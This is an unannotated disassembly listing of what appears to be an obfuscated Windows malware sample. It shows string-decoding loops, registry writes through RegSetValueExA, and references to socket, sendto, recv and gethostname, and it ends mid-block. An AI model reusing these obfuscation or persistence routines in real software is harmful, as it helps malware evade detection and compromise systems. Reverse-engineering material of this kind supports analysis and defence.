cmp r8, rax
jne 0x1401146a0
add r10b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1401148b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401146c3
lea edx, [r10 + 0x7c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x64
jmp 0x140114877
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140114300
lea edx, [r10 + 0x48]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
jmp 0x14011480e
lea edx, [r10 - 0x30]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x28
add cl, cl
jmp 0x140114877
lea edx, [r10 + 0x14]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
jmp 0x140114730
lea edx, [r10 - 0x5a]
mov ecx, Ordinal_60
movzx eax, r11b
and al, dl
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x7a
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x68
add cl, r11b
mov byte [rbp + rbx], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
add r10b, 0x62
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1401148b2
add r10b, 0x1e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
add r8, r9
jmp 0x1401148b2
sub r10b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x1a
dec rbx
inc rbx
jmp 0x140113eb2
lea edx, [r10 + 0xe]
movzx eax, r11b
and al, dl
sub dl, 0x62
add al, al
movzx ecx, r11b
sub cl, al
add dl, cl
sub r10b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + rbx], cl
inc r9
dec rbx
inc rbx
jmp 0x140113eb2
lea edx, [rbx - 2]
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
dec rbx
inc rbx
jmp 0x140113eb2
movzx r10d, bl
lea edx, [r10 - 0x46]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x16
add dl, cl
sub r10b, 0xe
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rbp + rbx], cl
add r8, r9
jmp 0x1401148b2
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
sub dl, 0x5e
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140113eb2
lea rax, [rbx + r12]
and dil, al
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, byte [rbp + rbx]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140113eb2
sub r10b, 0x56
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140113eb0
add r10b, 0x66
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140113ea0
lea rdx, [rbp + 0x17e1ed8]
jmp 0x14011494a
lea rdx, [rbp + 0x49a4fa]
jmp 0x14011494a
lea rdx, [rbp]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x31]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140116b40
mov byte [rbp + 0x32], 3
mov dword [rsp + 0x30], 0xc2babbed
mov dword [rsp + 0x34], 0x3dc1ecbc
mov dword [rsp + 0x38], 0x3f3d4342
mov byte [rsp + 0x3c], 0xca
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x4d], eax
mov word [rsp + 0x51], ax
movabs rsi, 0x878b3637f9591c79
movabs r15, 0xc3e4e7f7c4220041
movabs r12, 0x96a1a2a7ec0b556b
movzx edx, byte [rbp + 0x30]
nop dword [rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1401154aa
movzx r11d, byte [rsp + rbx + 0x30]
mov edi, r11d
cmp r8, rbx
ja 0x1401154a1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140114a20
lea rcx, [rbx + rsi]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x4f
jmp 0x140114a5a
je 0x140115439
lea rax, [r9 + 3]
cmp r8, rax
je 0x14011540d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1401153d0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401153b1
lea rax, [r9 + 6]
cmp r8, rax
je 0x14011536e
movzx r10d, bl
nop
cmp r9, rbx
ja 0x140115498
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140114a8c
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7b
jmp 0x140114ac0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140115357
lea rax, [r9 + 3]
cmp r8, rax
je 0x140115335
lea rax, [r9 + 6]
cmp r8, rax
je 0x140115319
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401152ef
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140115019
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140114ffc
lea rax, [r9 + 3]
cmp r8, rax
je 0x140114fd3
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140114fb1
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140114f94
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140114f75
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140114f59
lea rax, [r9 + 8]
cmp r8, rax
je 0x140114f3c
lea rax, [r9 + 1]
cmp r8, rax
je 0x140114f1e
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140114ef0
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140114ad0
lea r8, [r9 + 0x400]
lea r9, [r8 + 9]
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14011547c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140115460
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140114cba
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140114ca0
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x140114c86
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140114ea7
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140114e62
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140114e25
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140114e02
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140114ad0
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x140114dd4
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140114db4
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140114d9a
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140114d7a
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140114d5b
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140114d3e
lea rax, [r9 + 0x64]
cmp rcx, rax
ja 0x140114d18
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140114cf3
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x140114cd6
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140114ad0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x80]
jmp 0x140114ad0
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1b
jmp 0x140114ac0
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x47
jmp 0x140114a60
sub r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x57
jmp 0x1401149f5
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140115387
add r10b, 0x76
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x1401149e2
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1401149e2
lea edx, [r10 - 0x6e]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1401153e9
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
add r8, r9
jmp 0x140115421
sub r10b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x140115421
lea edx, [r10 - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x24
jmp 0x140115287
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1401152b2
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
add r10b, 0x7b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x5d
mov byte [rsp + rbx + 0x30], dl
inc rbx
jmp 0x1401149e2
lea edx, [r10 - 0x77]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x41
add dl, cl
cmp r9, 9
jb 0x140114e19
lea edx, [r10 + 0x36]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x140115387
lea edx, [r10 - 0x69]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x21
add dl, cl
cmp r8, 4
jae 0x140115257
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14011517a
lea edx, [r10 - 0x3e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x4e
jmp 0x140114e3a
lea edx, [r10 - 0x5b]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x7d
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x140115274
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1401150cf
lea edx, [r10 - 0x2b]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x2d
jmp 0x140114e77
sub r10b, 0x72
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
sub r10b, 0x64
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
sub dl, 0x44
add dl, r10b
jmp 0x1401152b2
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140115289
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x140115421
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6a
add r8, r9
jmp 0x140115421
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401153e9
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
dec rbx
inc rbx
jmp 0x1401149e2
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1401149e2
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140115387
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14011503c
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4f
jmp 0x140114ebe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140115073
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14011509c
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x140115421
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140114ebe
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401150f4
lea edx, [r10 - 0x39]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x71
add dl, cl
jmp 0x140115387
inc rax
cmp r8, rax
jne 0x14011511e
sub r10b, 0x55
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x53
dec rbx
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140115143
sub r10b, 0x7f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x79
jmp 0x140115421
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140114e79
add r10b, 0x57
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x61
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1401151b1
sub r10b, 0x4c
movzx eax, r11b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1401151d9
add r10b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x64
add r8, r9
jmp 0x140115421
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401151fe
lea edx, [r10 + 0x6e]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 2
add dl, cl
jmp 0x1401153e9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14011522d
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1401149e2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140114e3c
lea edx, [r10 + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140115387
lea ecx, [r10 + 0x28]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
add dl, r11b
jmp 0x1401153e9
lea edx, [r10 + 0x1a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
sub r10b, 0x6d
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 5
add cl, r10b
movzx eax, cl
mov byte [rsp + rbx + 0x30], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0xc]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x54
add r11b, cl
mov byte [rsp + rbx + 0x30], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
add r10b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 9
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
sub r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2f
jmp 0x140115421
sub r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x55
dec rbx
inc rbx
jmp 0x1401149e2
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x19
jmp 0x140115387
movzx r10d, bl
lea ecx, [r10 - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
sub r10b, 0x51
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x37
add r10b, r11b
mov byte [rsp + rbx + 0x30], r10b
inc r9
dec rbx
inc rbx
jmp 0x1401149e2
lea ecx, [rbx + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5f
dec rbx
inc rbx
jmp 0x1401149e2
movzx r10d, bl
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
sub r10b, 0x5f
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, dl
sub cl, al
sub cl, 0x67
add cl, r10b
add cl, r11b
mov byte [rsp + rbx + 0x30], cl
add r8, r9
jmp 0x140115421
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x39
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1401149e2
lea rax, [rbx + r12]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x13
movzx eax, byte [rsp + rbx + 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1401149e2
sub r10b, 0x23
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0xb
jmp 0x1401149e0
sub r10b, 0x15
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x6d
jmp 0x1401149d0
lea rdx, [rbp + 0x15f207c]
jmp 0x1401154af
lea rdx, [rbp + 0x783cf5]
jmp 0x1401154af
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x32]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140116b40
mov byte [rbp + 0x30], 3
mov dword [rbp - 0x28], 0x9583997b
mov word [rbp - 0x24], 0x2194
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x22], xmm0
mov qword [rbp - 0x12], rax
mov dword [rbp - 0xa], eax
mov byte [rbp - 6], al
movabs r15, 0x21c29b8005cf8206
movabs r12, 0x2fd77780344b9236
movabs r13, 0x6547d280116e8612
movzx r11d, byte [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x140115fc4
movzx ebx, byte [rbp + rdi - 0x28]
mov esi, ebx
cmp r8, rdi
ja 0x140115fbb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14011557f
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
sub r11b, 0x2a
jmp 0x1401155b8
je 0x140115f4f
inc rax
cmp r8, rax
je 0x140115ef1
lea rax, [r9 + 2]
cmp r8, rax
je 0x140115ea5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140115e77
lea rax, [r9 + 4]
cmp r8, rax
je 0x140115e34
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x140115fb2
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1401155e9
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x140115633
lea rax, [r9 + 1]
cmp r8, rax
je 0x140115e18
lea rax, [r9 + 3]
cmp r8, rax
je 0x140115df6
cmp r8, rcx
je 0x140115dda
lea rax, [r9 + 5]
cmp r8, rax
je 0x140115dbb
lea rax, [r9 + 6]
cmp r8, rax
je 0x140115d9f
lea rax, [r9 + 2]
cmp r8, rax
je 0x140115d75
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140115a6c
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140115a52
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140115a2d
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140115a07
lea rax, [r9 + 6]
cmp r8, rax
je 0x1401159ed
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401159ce
lea rax, [r9 + 9]
cmp r8, rax
je 0x1401159ae
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140115994
mov r8, rax
lea r9, [rax + 6]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140115f97
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140115f77
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1401157bc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401157a2
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140115783
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14011594a
lea rcx, [r9 + 0xa]
cmp r8, rcx
jb 0x140115904
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1401158c4
mov r8, rcx
lea r9, [rcx + 0x7a]
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140115896
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x14011587a
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14011585b
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x14011583b
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14011581d
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1401157fe
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1401157d8
mov r8, rax
lea r9, [rax + 0x7a]
jmp 0x140115640
lea edx, [r10 + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140115633
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x1401155c0
add r10b, 0x2a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x26
jmp 0x140115553
sub r10b, 0x28
movzx eax, bl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
dec rdi
inc rdi
jmp 0x140115542
lea edx, [r10 - 0x34]
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140115d39
sub r10b, 0x40
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x40
add r8, r9
jmp 0x140115e8c
sub r10b, 0x4c
movzx eax, bl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x140115e8c
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140115ec7
sub r10b, 0x64
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x44
jmp 0x140115f13
sub r10b, 0x70
movzx eax, r10b
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140115542
lea edx, [r10 + 0x66]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 6
jb 0x140115d14
lea ecx, [r10 + 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x78]
jmp 0x140115e4d
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x76
cmp r8, 6
jae 0x140115d21
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140115c4a
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1401158de
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
lea rax, [r9 + r8]
cmp rax, 6
je 0x140115d5f
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140115b66
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
jmp 0x140115919
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x140115ec7
sub r10b, 0x30
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x140115e8c
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
add r8, r9
jmp 0x140115e8c
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x140115d39
sub r10b, 0x54
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x140115542
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140115542
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x140115e4d
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x140115a92
lea ecx, [r10 + 6]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2a
jmp 0x14011595f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140115ac9
sub r10b, 4
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi - 0x28]
add rax, r9
